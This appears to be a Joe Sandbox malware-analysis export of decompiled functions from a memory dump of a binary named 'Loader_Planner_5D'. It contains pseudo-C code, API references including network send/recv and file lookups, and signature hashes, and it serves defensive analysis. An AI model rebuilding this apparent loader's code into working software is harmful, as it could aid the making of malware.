0x7ff71066156c
0x7ff71066157a
0x7ff710661582
0x7ff710661584
0x7ff710661590
0x7ff7106615a1
0x7ff7106615a3
0x7ff7106615b0
0x7ff7106615b8
0x7ff7106615bd
0x7ff7106615c3
0x7ff7106615d0
0x7ff7106615fa

APIs

GetFileAttributesExW.KERNEL32 ref: 00007FF7106613AD
GetLastError.KERNEL32 ref: 00007FF7106613B7
FindFirstFileW.KERNEL32 ref: 00007FF7106613CE
GetLastError.KERNEL32 ref: 00007FF7106613DA
FindClose.KERNEL32 ref: 00007FF7106613E8
__std_fs_open_handle.LIBCPMT ref: 00007FF71066147B
CloseHandle.KERNEL32 ref: 00007FF710661491
CloseHandle.KERNEL32 ref: 00007FF710661604

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: Close$ErrorFileFindHandleLast$AttributesFirst__std_fs_open_handle
String ID:
API String ID: 2398595512-0
Opcode ID: 8bda178dff91d0f870878f7d797657a8a8e7a2fccf3cd331ff0da746bf028278
Instruction ID: 38570bf4d66d6705a20da8a32d6b643e8bbfc2a5ee90fbf9e5e3d4c062d8d9b5
Opcode Fuzzy Hash: 8bda178dff91d0f870878f7d797657a8a8e7a2fccf3cd331ff0da746bf028278
Instruction Fuzzy Hash: D9919439B08E46C6E674AB15A404679E2B2AF857B4F9C4331D97E4BBD4DE3CF4098720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71065C86C Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1203
COMMONCrypto

Download Yara Rule

C-Code - Quality: 68%

			E00007FF77FF71065C86C(void* __edx, void* __rbx, unsigned int __rcx, void* __rdi, void* __rsi, long long __r9, signed int __r10, void* __r12, void* __r14, void* __r15) {
				signed long long _t32;
				void* _t43;
				void* _t45;
				void* _t46;
				signed long long _t47;
				long long _t54;

				_t43 = __rdi;
				_t45 = _t46 - 0x6e0;
				_t47 = _t46 - 0x7e0;
				_t32 =  *0x10689010; // 0xafe3859a1ce3
				 *(_t45 + 0x6d0) = _t32 ^ _t47;
				_t54 =  *((intOrPtr*)(_t45 + 0x740));
				 *(_t47 + 0x30) = __rcx;
				 *((long long*)(_t47 + 0x78)) = _t54;
				 *((long long*)(_t45 - 0x78)) = __r9;
				 *((intOrPtr*)(_t47 + 0x74)) = r8d;
				E00007FF77FF71065F648(_t47 + 0x60);
				r15d = 1;
				if (( *(_t47 + 0x60) & 0x0000001f) != 0x1f) goto 0x1065c8d8;
				 *((char*)(_t47 + 0x68)) = 0;
				goto 0x1065c8e7;
				E00007FF77FF71065F6B4(( *(_t47 + 0x60) & 0x0000001f) - 0x1f, _t47 + 0x60);
				 *((intOrPtr*)(_t47 + 0x68)) = r15b;
				 *((long long*)(__r9 + 8)) = _t54;
				_t15 = _t43 + 0xd; // 0x2d
				_t22 =  <  ? _t15 : 0x20;
				r8d = 0;
				 *((intOrPtr*)(__r9)) =  <  ? _t15 : 0x20;
				E00007FF77FF71065F5E4(0, _t32 ^ _t47, _t47 + 0x70);
				r10d = 0x7ff;
				if (( *(_t47 + 0x30) >> 0x00000034 & __r10) != 0) goto 0x1065c952;
			}

0x7ff71065c86c
0x7ff71065c877
0x7ff71065c87f
0x7ff71065c886
0x7ff71065c890
0x7ff71065c897
0x7ff71065c8a1
0x7ff71065c8ad
0x7ff71065c8b2
0x7ff71065c8b6
0x7ff71065c8bb
0x7ff71065c8c4
0x7ff71065c8cf
0x7ff71065c8d1
0x7ff71065c8d6
0x7ff71065c8dd
0x7ff71065c8e2
0x7ff71065c8f3
0x7ff71065c8fb
0x7ff71065c8fe
0x7ff71065c901
0x7ff71065c906
0x7ff71065c90f
0x7ff71065c917
0x7ff71065c92e

APIs

fegetenv.LIBCMT ref: 00007FF71065C8BB
_invalid_parameter_noinfo.LIBCMT ref: 00007FF71065CEEE
_invalid_parameter_noinfo.LIBCMT ref: 00007FF71065D064
_invalid_parameter_noinfo.LIBCMT ref: 00007FF71065D320
_invalid_parameter_noinfo.LIBCMT ref: 00007FF71065D540
_invalid_parameter_noinfo.LIBCMT ref: 00007FF71065D77B
memcpy_s.LIBCPMT ref: 00007FF71065D856
memcpy_s.LIBCPMT ref: 00007FF71065D901
memcpy_s.LIBCPMT ref: 00007FF71065D9D1

Part of subcall function 00007FF71065DAAC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF71065DADE

Strings

1#QNAN, xrefs: 00007FF71065C9D7
1#IND, xrefs: 00007FF71065C9AB
1#INF, xrefs: 00007FF71065C9E7
1#SNAN, xrefs: 00007FF71065C9CE

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 9e4598616bb9f2a16cb858be705957ba0518dc2df54f20f970df046e7f075d0b
Instruction ID: 54641022e6153db8362fe8fa24e6194421866f735225de0e40ac08ecb2221c4c
Opcode Fuzzy Hash: 9e4598616bb9f2a16cb858be705957ba0518dc2df54f20f970df046e7f075d0b
Instruction Fuzzy Hash: 6CB2D772A18A824BE774AF24D4407FDB6B2FB543E8F905235DA0957BC8DB38B509CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7106397E0 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 386
networkCOMMONCrypto

Download Yara Rule

C-Code - Quality: 57%

			E00007FF77FF7106397E0(void* __ebx, void* __ecx, void* __edx, void* __esi, void* __ebp, void* __eflags, void* __rax, void* __rcx, long long __rdx, long long __r8, intOrPtr* __r9) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t140;
				signed int _t191;
				signed char _t211;
				signed char _t213;
				signed char _t217;
				void* _t219;
				signed long long _t277;
				void* _t292;
				void* _t298;
				void* _t306;
				intOrPtr _t348;
				intOrPtr _t368;
				void* _t372;
				intOrPtr _t374;
				intOrPtr _t377;
				intOrPtr _t380;
				intOrPtr _t383;
				signed long long _t390;
				void* _t393;
				intOrPtr* _t394;
				void* _t397;
				intOrPtr _t398;
				intOrPtr _t401;
				intOrPtr _t406;
				intOrPtr _t409;
				intOrPtr _t412;
				intOrPtr _t415;
				char* _t418;
				char* _t419;
				void* _t420;
				void* _t421;
				signed long long _t422;
				intOrPtr* _t436;
				char* _t437;
				intOrPtr* _t438;
				char* _t440;
				char* _t441;
				void* _t443;
				void* _t444;
				char* _t447;
				signed char _t448;
				signed char _t449;

				_t434 = __r9;
				_t424 = __r8;
				_t219 = __esi;
				_t420 = _t421 - 0x1118;
				E00007FF77FF710663340(0x1218, __rax, _t443, _t444);
				_t422 = _t421 - __rax;
				_t277 =  *0x10689010; // 0xafe3859a1ce3
				 *(_t420 + 0x1100) = _t277 ^ _t422;
				_t419 = __r9;
				_t447 = __r8;
				_t418 = __rdx;
				 *((long long*)(_t422 + 0x40)) = __rdx;
				 *((long long*)(_t422 + 0x48)) = __r8;
				 *((long long*)(_t422 + 0x50)) = __r9;
				r15d = 0;
				E00007FF77FF71063CD80(_t306, _t422 + 0x20, __r9, __rdx, _t420, __r8);
				E00007FF77FF710633540(__ecx, _t306, _t422 + 0x58, _t277 ^ _t422, _t424);
				_t368 =  *((intOrPtr*)(_t422 + 0x38));
				if (_t368 - 0x10 < 0) goto 0x1063988a;
				if (_t368 + 1 - 0x1000 < 0) goto 0x10639885;
				if ( *((intOrPtr*)(_t422 + 0x20)) -  *((intOrPtr*)( *((intOrPtr*)(_t422 + 0x20)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x10639ef9;
				_t140 = E00007FF77FF710641E10( *((intOrPtr*)(_t422 + 0x20)) -  *((intOrPtr*)( *((intOrPtr*)(_t422 + 0x20)) - 8)) + 0xfffffff8,  *((intOrPtr*)( *((intOrPtr*)(_t422 + 0x20)) - 8)));
				 *(_t422 + 0x30) = _t448;
				 *((long long*)(_t422 + 0x38)) = 0xf;
				 *((char*)(_t422 + 0x20)) = 0;
				_t372 =  >=  ?  *((void*)(_t422 + 0x58)) : _t422 + 0x58;
				r9d = 0;
				r8d =  *(_t422 + 0x68);
				__imp__#19();
				r9d = 0;
				r8d = 0x1000;
				__imp__#16();
				if (_t140 - 1 > 0) goto 0x10639a05;
				_t374 =  *((intOrPtr*)(_t422 + 0x70));
				if (_t374 - 0x10 < 0) goto 0x1063991e;
				if (_t374 + 1 - 0x1000 < 0) goto 0x10639919;
				if ( *((intOrPtr*)(_t422 + 0x58)) -  *((intOrPtr*)( *((intOrPtr*)(_t422 + 0x58)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x10639f79;
				E00007FF77FF710641E10( *((intOrPtr*)(_t422 + 0x58)) -  *((intOrPtr*)( *((intOrPtr*)(_t422 + 0x58)) - 8)) + 0xfffffff8,  *((intOrPtr*)( *((intOrPtr*)(_t422 + 0x58)) - 8)));
				 *((char*)(_t422 + 0x58)) = 0;
				 *((long long*)(_t422 + 0x70)) = 0xf;
				 *(_t422 + 0x68) = _t448;
				_t377 =  *((intOrPtr*)(_t418 + 0x18));
				if (_t377 - 0x10 < 0) goto 0x1063996b;
				if (_t377 + 1 - 0x1000 < 0) goto 0x10639966;
				if ( *_t418 -  *((intOrPtr*)( *_t418 - 8)) - 8 - 0x1f > 0) goto 0x10639f7f;
				E00007FF77FF710641E10( *_t418 -  *((intOrPtr*)( *_t418 - 8)) - 8,  *((intOrPtr*)( *_t418 - 8)));
				 *_t418 = 0;
				 *((long long*)(_t418 + 0x18)) = 0xf;
				 *(_t418 + 0x10) = _t448;
				_t380 =  *((intOrPtr*)(_t447 + 0x18));
				if (_t380 - 0x10 < 0) goto 0x106399b4;
				if (_t380 + 1 - 0x1000 < 0) goto 0x106399af;
				if ( *_t447 -  *((intOrPtr*)( *_t447 - 8)) - 8 - 0x1f > 0) goto 0x10639eed;
				E00007FF77FF710641E10( *_t447 -  *((intOrPtr*)( *_t447 - 8)) - 8,  *((intOrPtr*)( *_t447 - 8)));
				 *_t447 = 0;
				 *((long long*)(_t447 + 0x18)) = 0xf;
				 *(_t447 + 0x10) = _t448;
				_t383 =  *((intOrPtr*)(__r9 + 0x18));
				if (_t383 - 0x10 < 0) goto 0x106399fe;
				if (_t383 + 1 - 0x1000 < 0) goto 0x106399f9;
				if ( *__r9 -  *((intOrPtr*)( *__r9 - 8)) - 8 - 0x1f > 0) goto 0x10639ef3;
				E00007FF77FF710641E10( *__r9 -  *((intOrPtr*)( *__r9 - 8)) - 8,  *((intOrPtr*)( *__r9 - 8)));
				goto 0x10639ebb;
				r8d = 0x1000;
				E00007FF77FF7106441A0();
				Sleep(??);
				r8d = 0x118;
				E00007FF77FF7106441A0();
				E00007FF77FF71063A770(_t306, _t420 - 0x60, __r9, _t420, _t444);
				if ( *((long long*)(_t418 + 0x18)) - 0x10 < 0) goto 0x10639a4c;
				E00007FF77FF71063BD60(__ebx, _t306, _t420 - 0x60,  *_t418, _t419, _t420,  *((intOrPtr*)( *__r9 - 8)), _t434, _t444);
				if ( *((long long*)(_t420 + 0x38)) == 0) goto 0x10639d1e;
				if ( *((long long*)(_t418 + 0x18)) - 0x10 < 0) goto 0x10639a71;
				 *((long long*)(_t420 + 0xc0)) =  *_t418;
				 *((long long*)(_t420 + 0xc8)) =  *(_t418 + 0x10);
				asm("movaps xmm0, [ebp+0xc0]");
				asm("movdqa [ebp+0xc0], xmm0");
				E00007FF77FF71062CB70(__ebx, _t219,  *_t418, _t306, _t422 + 0x20, _t420 + 0xc0, _t420);
				_t333 =  >=  ?  *((void*)(_t422 + 0x20)) : _t422 + 0x20;
				r9d = 0xffffffff;
				r8d = 9;
				if (E00007FF77FF710661300(0x190,  *((long long*)(_t422 + 0x38)) - 8, _t306,  >=  ?  *((void*)(_t422 + 0x20)) : _t422 + 0x20, _t422 + 0x78, _t419, _t434) != 0) goto 0x10639f11;
				_t449 =  *((intOrPtr*)(_t420 - 0x80));
				r15d = r15d + 1;
				_t390 =  *((intOrPtr*)(_t422 + 0x38));
				if (_t390 - 8 < 0) goto 0x10639b18;
				if (2 + _t390 * 2 - 0x1000 < 0) goto 0x10639b13;
				_t292 =  *((intOrPtr*)(_t422 + 0x20)) -  *((intOrPtr*)( *((intOrPtr*)(_t422 + 0x20)) - 8)) + 0xfffffff8;
				if (_t292 - 0x1f > 0) goto 0x10639eff;
				E00007FF77FF710641E10(_t292,  *((intOrPtr*)( *((intOrPtr*)(_t422 + 0x20)) - 8)));
				0x10642440();
				_t393 = _t292;
				E00007FF77FF71063A910(r15d, _t420 - 0x60, _t393, _t419, r15d);
				if (r15d >= 0) goto 0x10639b83;
				r8d =  ~r15d;
				_t436 = _t420 + 0xd5 - 1;
				_t211 = 0xcccccccd * r8d >> 0x20 >> 3;
				r8b = r8b - _t292 + _t393 + _t292 + _t393;
				r8b = r8b + 0x30;
				 *_t436 = r8b;
				r8d = _t211;
				if (_t211 != 0) goto 0x10639b50;
				_t437 = _t436 - 1;
				 *_t437 = 0x2d;
				goto 0x10639bbf;
				r8d = r15d;
				asm("o16 nop [eax+eax]");
				_t438 = _t437 - 1;
				_t213 = 0xcccccccd * r8d >> 0x20 >> 3;
				r8b = r8b - _t292 + _t393 + _t292 + _t393;
				r8b = r8b + 0x30;
				 *_t438 = r8b;
				r8d = _t213;
				if (_t213 != 0) goto 0x10639b90;
				_t191 =  ~r15d;
				_t394 = _t438;
				E00007FF77FF71063D7A0((_t213 & 0x000000ff) << 2, _t422 + 0x78, _t394, _t420 + 0xd5);
				if (r15d >= 0) goto 0x10639c0f;
				_t440 = _t420 + 0xf5 - 1;
				 *_t440 = _t191 - _t292 + _t394 + _t292 + _t394 + 0x30;
				if (0xcccccccd * _t191 >> 0x20 >> 3 != 0) goto 0x10639be0;
				_t441 = _t440 - 1;
				 *_t441 = 0x2d;
				goto 0x10639c3c;
				r8d = r15d;
				_t217 = 0xcccccccd * r8d >> 0x20 >> 3;
				r8b = r8b - _t292 + _t394 + _t292 + _t394;
				r8b = r8b + 0x30;
				 *((intOrPtr*)(_t441 - 1)) = r8b;
				r8d = _t217;
				if (_t217 != 0) goto 0x10639c12;
				E00007FF77FF71063D7A0((_t217 & 0x000000ff) << 2, _t422 + 0x20, _t441 - 1, _t420 + 0xf5);
				_t397 =  >=  ?  *((void*)(_t422 + 0x20)) : _t422 + 0x20;
				r9d = 0;
				r8d =  *(_t420 - 0x78);
				__imp__#19();
				_t398 =  *((intOrPtr*)(_t422 + 0x38));
				if (_t398 - 0x10 < 0) goto 0x10639cae;
				if (_t398 + 1 - 0x1000 < 0) goto 0x10639ca9;
				if ( *((intOrPtr*)(_t422 + 0x20)) -  *((intOrPtr*)( *((intOrPtr*)(_t422 + 0x20)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x10639f05;
				E00007FF77FF710641E10( *((intOrPtr*)(_t422 + 0x20)) -  *((intOrPtr*)( *((intOrPtr*)(_t422 + 0x20)) - 8)) + 0xfffffff8,  *((intOrPtr*)( *((intOrPtr*)(_t422 + 0x20)) - 8)));
				 *(_t422 + 0x30) = 0;
				 *((long long*)(_t422 + 0x38)) = 0xf;
				 *((char*)(_t422 + 0x20)) = 0;
				_t401 =  *((intOrPtr*)(_t420 - 0x70));
				if (_t401 - 0x10 < 0) goto 0x10639d01;
				if (_t401 + 1 - 0x1000 < 0) goto 0x10639cfc;
				_t298 =  *((intOrPtr*)(_t422 + 0x78)) -  *((intOrPtr*)( *((intOrPtr*)(_t422 + 0x78)) - 8)) + 0xfffffff8;
				if (_t298 - 0x1f > 0) goto 0x10639f0b;
				E00007FF77FF710641E10(_t298,  *((intOrPtr*)( *((intOrPtr*)(_t422 + 0x78)) - 8)));
				r9d = 0;
				r8d = r15d;
				__imp__#19();
				E00007FF77FF710641E10(_t298, _t292);
				r15d = 0;
				E00007FF77FF710628F20(_t292 + _t394 + _t292 + _t394, _t217, r15d, _t420 - 0x48, _t420);
				if (_t298 != 0) goto 0x10639d5c;
				_t348 =  *((intOrPtr*)( *((intOrPtr*)(_t420 - 0x60)) + 4));
				_t175 =  !=  ? 2 : 6;
				_t176 = ( !=  ? 2 : 6) |  *(_t420 + _t348 - 0x50);
				_t177 = (( !=  ? 2 : 6) |  *(_t420 + _t348 - 0x50)) & 0x00000017;
				 *(_t420 + _t348 - 0x50) = 6;
				_t178 = (( !=  ? 2 : 6) |  *(_t420 + _t348 - 0x50)) & 0x00000017 &  *(_t420 + _t348 - 0x4c);
				if ( *((long long*)(_t420 + _t348 - 0x18)) != 0) goto 0x10639f25;
				r9d = 0;
				r8d = 0x1000;
				__imp__#16();
				_t262 = ((( !=  ? 2 : 6) |  *(_t420 + _t348 - 0x50)) & 0x00000017 &  *(_t420 + _t348 - 0x4c)) - 1;
				if (((( !=  ? 2 : 6) |  *(_t420 + _t348 - 0x50)) & 0x00000017 &  *(_t420 + _t348 - 0x4c)) - 1 > 0) goto 0x10639d8a;
				E00007FF77FF710639F90(2, r15d, _t420 - 0x60, _t419);
				goto 0x106398e1;
				Sleep(??);
				E00007FF77FF710639F90(2, r15d, _t420 - 0x60, _t419);
				_t406 =  *((intOrPtr*)(_t422 + 0x70));
				if (_t406 - 0x10 < 0) goto 0x10639ddd;
				if (_t406 + 1 - 0x1000 < 0) goto 0x10639dd8;
				if ( *((intOrPtr*)(_t422 + 0x58)) -  *((intOrPtr*)( *((intOrPtr*)(_t422 + 0x58)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x10639f79;
				E00007FF77FF710641E10( *((intOrPtr*)(_t422 + 0x58)) -  *((intOrPtr*)( *((intOrPtr*)(_t422 + 0x58)) - 8)) + 0xfffffff8,  *((intOrPtr*)( *((intOrPtr*)(_t422 + 0x58)) - 8)));
				 *(_t422 + 0x68) = _t449;
				 *((long long*)(_t422 + 0x70)) = 0xf;
				 *((char*)(_t422 + 0x58)) = 0;
				_t409 =  *((intOrPtr*)(_t418 + 0x18));
				if (_t409 - 0x10 < 0) goto 0x10639e2a;
				if (_t409 + 1 - 0x1000 < 0) goto 0x10639e25;
				if ( *_t418 -  *((intOrPtr*)( *_t418 - 8)) - 8 - 0x1f > 0) goto 0x10639f7f;
				E00007FF77FF710641E10( *_t418 -  *((intOrPtr*)( *_t418 - 8)) - 8,  *((intOrPtr*)( *_t418 - 8)));
				 *(_t418 + 0x10) = _t449;
				 *((long long*)(_t418 + 0x18)) = 0xf;
				 *_t418 = 0;
				_t412 =  *((intOrPtr*)(_t447 + 0x18));
				if (_t412 - 0x10 < 0) goto 0x10639e73;
				if (_t412 + 1 - 0x1000 < 0) goto 0x10639e6e;
				if ( *_t447 -  *((intOrPtr*)( *_t447 - 8)) - 8 - 0x1f > 0) goto 0x10639eed;
				E00007FF77FF710641E10( *_t447 -  *((intOrPtr*)( *_t447 - 8)) - 8,  *((intOrPtr*)( *_t447 - 8)));
				 *(_t447 + 0x10) = _t449;
				 *((long long*)(_t447 + 0x18)) = 0xf;
				 *_t447 = 0;
				_t415 =  *((intOrPtr*)(_t419 + 0x18));
				if (_t415 - 0x10 < 0) goto 0x10639eb9;
				if (_t415 + 1 - 0x1000 < 0) goto 0x10639eb4;
				if ( *_t419 -  *((intOrPtr*)( *_t419 - 8)) - 8 - 0x1f > 0) goto 0x10639ef3;
				E00007FF77FF710641E10( *_t419 -  *((intOrPtr*)( *_t419 - 8)) - 8,  *((intOrPtr*)( *_t419 - 8)));
				 *_t419 = 0;
				 *((long long*)(_t419 + 0x18)) = 0xf;
				 *(_t419 + 0x10) = _t449;
				return E00007FF77FF710641DF0(6, 0x64,  *(_t420 + 0x1100) ^ _t422);
			}

0x7ff7106397e0
0x7ff7106397e0
0x7ff7106397e0
0x7ff7106397ed
0x7ff7106397fa
0x7ff7106397ff
0x7ff710639802
0x7ff71063980c
0x7ff710639813
0x7ff710639816
0x7ff710639819
0x7ff71063981f
0x7ff710639824
0x7ff710639829
0x7ff71063982e
0x7ff710639839
0x7ff710639847
0x7ff71063984d
0x7ff710639856
0x7ff71063986a
0x7ff71063987f
0x7ff710639885
0x7ff71063988a
0x7ff71063988f
0x7ff710639898
0x7ff7106398a8
0x7ff7106398ae
0x7ff7106398b1
0x7ff7106398b9
0x7ff7106398bf
0x7ff7106398c2
0x7ff7106398d2
0x7ff7106398db
0x7ff7106398e1
0x7ff7106398ea
0x7ff7106398fe
0x7ff710639913
0x7ff710639919
0x7ff71063991e
0x7ff710639923
0x7ff71063992c
0x7ff710639931
0x7ff710639939
0x7ff710639948
0x7ff71063995d
0x7ff710639966
0x7ff71063996b
0x7ff71063996e
0x7ff710639976
0x7ff71063997a
0x7ff710639982
0x7ff710639991
0x7ff7106399a6
0x7ff7106399af
0x7ff7106399b4
0x7ff7106399b8
0x7ff7106399c0
0x7ff7106399c4
0x7ff7106399cc
0x7ff7106399db
0x7ff7106399f0
0x7ff7106399f9
0x7ff710639a00
0x7ff710639a07
0x7ff710639a14
0x7ff710639a1e
0x7ff710639a26
0x7ff710639a30
0x7ff710639a39
0x7ff710639a47
0x7ff710639a50
0x7ff710639a5a
0x7ff710639a6c
0x7ff710639a71
0x7ff710639a78
0x7ff710639a7f
0x7ff710639a86
0x7ff710639a9a
0x7ff710639aab
0x7ff710639ab1
0x7ff710639ab7
0x7ff710639ac9
0x7ff710639acf
0x7ff710639ad3
0x7ff710639ad6
0x7ff710639adf
0x7ff710639af8
0x7ff710639b05
0x7ff710639b0d
0x7ff710639b13
0x7ff710639b1e
0x7ff710639b29
0x7ff710639b30
0x7ff710639b3f
0x7ff710639b46
0x7ff710639b50
0x7ff710639b5b
0x7ff710639b69
0x7ff710639b6c
0x7ff710639b70
0x7ff710639b73
0x7ff710639b78
0x7ff710639b7a
0x7ff710639b7d
0x7ff710639b81
0x7ff710639b83
0x7ff710639b86
0x7ff710639b90
0x7ff710639b9b
0x7ff710639ba9
0x7ff710639bac
0x7ff710639bb0
0x7ff710639bb3
0x7ff710639bb8
0x7ff710639bbd
0x7ff710639bc6
0x7ff710639bce
0x7ff710639bde
0x7ff710639be0
0x7ff710639bfd
0x7ff710639c04
0x7ff710639c06
0x7ff710639c09
0x7ff710639c0d
0x7ff710639c0f
0x7ff710639c1d
0x7ff710639c2b
0x7ff710639c2e
0x7ff710639c32
0x7ff710639c35
0x7ff710639c3a
0x7ff710639c4b
0x7ff710639c5b
0x7ff710639c61
0x7ff710639c64
0x7ff710639c6b
0x7ff710639c71
0x7ff710639c7a
0x7ff710639c8e
0x7ff710639ca3
0x7ff710639ca9
0x7ff710639cae
0x7ff710639cb7
0x7ff710639cc0
0x7ff710639cc5
0x7ff710639ccd
0x7ff710639ce1
0x7ff710639cee
0x7ff710639cf6
0x7ff710639cfc
0x7ff710639d01
0x7ff710639d04
0x7ff710639d0d
0x7ff710639d16
0x7ff710639d1b
0x7ff710639d22
0x7ff710639d2a
0x7ff710639d30
0x7ff710639d44
0x7ff710639d47
0x7ff710639d4b
0x7ff710639d4e
0x7ff710639d52
0x7ff710639d56
0x7ff710639d5c
0x7ff710639d5f
0x7ff710639d6f
0x7ff710639d77
0x7ff710639d7a
0x7ff710639d80
0x7ff710639d85
0x7ff710639d8f
0x7ff710639d9a
0x7ff710639da0
0x7ff710639da9
0x7ff710639dbd
0x7ff710639dd2
0x7ff710639dd8
0x7ff710639ddd
0x7ff710639de2
0x7ff710639deb
0x7ff710639df0
0x7ff710639df8
0x7ff710639e07
0x7ff710639e1c
0x7ff710639e25
0x7ff710639e2a
0x7ff710639e2e
0x7ff710639e36
0x7ff710639e39
0x7ff710639e41
0x7ff710639e50
0x7ff710639e65
0x7ff710639e6e
0x7ff710639e73
0x7ff710639e77
0x7ff710639e7f
0x7ff710639e83
0x7ff710639e8b
0x7ff710639e9a
0x7ff710639eaf
0x7ff710639eb4
0x7ff710639ebb
0x7ff710639ebe
0x7ff710639ec6
0x7ff710639eec

APIs

send.WS2_32 ref: 00007FF7106398B9
recv.WS2_32 ref: 00007FF7106398D2

Strings

file_size, xrefs: 00007FF710639F18

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: recvsend
String ID: file_size
API String ID: 740075404-2117880836
Opcode ID: 8629aad47e2faa5950a7a2ca9568a94dda96b5bb414f5aba9d6eeb56ed4f5a95
Instruction ID: 065e999247496d37a2de81559c1d1065a84a9d19dd19a4845823cb0601b9bf5c
Opcode Fuzzy Hash: 8629aad47e2faa5950a7a2ca9568a94dda96b5bb414f5aba9d6eeb56ed4f5a95
Instruction Fuzzy Hash: 19F10472B18E8181EB10EB29D4543ADA762FB857E4F804135DA4D4BBD9DF7CE488C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710639130 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 143
networkCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00007FF77FF710639130(void* __ecx, void* __edx, void* __rax, long long __rbx, void* __rcx, long long __rdx, long long __r8, char _a8, long long _a32, char _a40, intOrPtr _a64, long long _a72, long long _a80, char _a88, signed int _a4184, void* _a4256) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t37;
				void* _t38;
				signed long long _t65;
				char* _t76;
				intOrPtr _t101;
				intOrPtr _t104;
				intOrPtr _t110;
				intOrPtr _t113;
				char* _t116;
				void* _t117;
				void* _t118;
				void* _t119;
				void* _t126;
				void* _t127;

				_a32 = __rbx;
				E00007FF77FF710663340(0x1080, __rax, _t126, _t127);
				_t120 = _t119 - __rax;
				_t65 =  *0x10689010; // 0xafe3859a1ce3
				_a4184 = _t65 ^ _t119 - __rax;
				_t116 = __r8;
				_t76 = __rdx;
				_t117 = __rcx;
				_a72 = __rdx;
				_a80 = __r8;
				if ( *((intOrPtr*)(__rdx + 0x10)) == _t118) goto 0x10639274;
				_t123 = __rdx;
				E00007FF77FF71063CD80(__rdx,  &_a40, __r8, __r8, _t118, __rdx);
				E00007FF77FF710633540(__ecx, _t76,  &_a8, _t65 ^ _t119 - __rax, _t123);
				E00007FF77FF71062F0C0(_t76, _t76, _t65 ^ _t119 - __rax);
				_t101 = _a32;
				if (_t101 - 0x10 < 0) goto 0x106391dc;
				if (_t101 + 1 - 0x1000 < 0) goto 0x106391d7;
				if (_a8 -  *((intOrPtr*)(_a8 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x1063933b;
				E00007FF77FF710641E10(_a8 -  *((intOrPtr*)(_a8 - 8)) + 0xfffffff8,  *((intOrPtr*)(_a8 - 8)));
				asm("movdqa xmm0, [0x455ac]");
				asm("movdqu [esp+0x30], xmm0");
				_a8 = 0;
				_t104 = _a64;
				if (_t104 - 0x10 < 0) goto 0x1063922c;
				if (_t104 + 1 - 0x1000 < 0) goto 0x10639227;
				if (_a40 -  *((intOrPtr*)(_a40 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x10639341;
				_t37 = E00007FF77FF710641E10(_a40 -  *((intOrPtr*)(_a40 - 8)) + 0xfffffff8,  *((intOrPtr*)(_a40 - 8)));
				if ( *((long long*)(_t76 + 0x18)) - 0x10 < 0) goto 0x10639239;
				r9d = 0;
				r8d =  *((intOrPtr*)(_t76 + 0x10));
				__imp__#19();
				if (_t37 <= 0) goto 0x10639274;
				r9d = 0;
				r8d = 0x1000;
				__imp__#16();
				if (_t37 <= 0) goto 0x10639274;
				_t38 = E00007FF77FF71064D640(_a40 -  *((intOrPtr*)(_a40 - 8)) + 0xfffffff8, _t76,  &_a88, _t116, _t117, _t123, _t126);
				_t110 =  *((intOrPtr*)(_t76 + 0x18));
				if (_t110 - 0x10 < 0) goto 0x106392ae;
				if (_t110 + 1 - 0x1000 < 0) goto 0x106392a9;
				if ( *_t76 -  *((intOrPtr*)( *_t76 - 8)) - 8 - 0x1f > 0) goto 0x1063932f;
				E00007FF77FF710641E10( *_t76 -  *((intOrPtr*)( *_t76 - 8)) - 8,  *((intOrPtr*)( *_t76 - 8)));
				 *((long long*)(_t76 + 0x10)) = 0;
				 *((long long*)(_t76 + 0x18)) = 0xf;
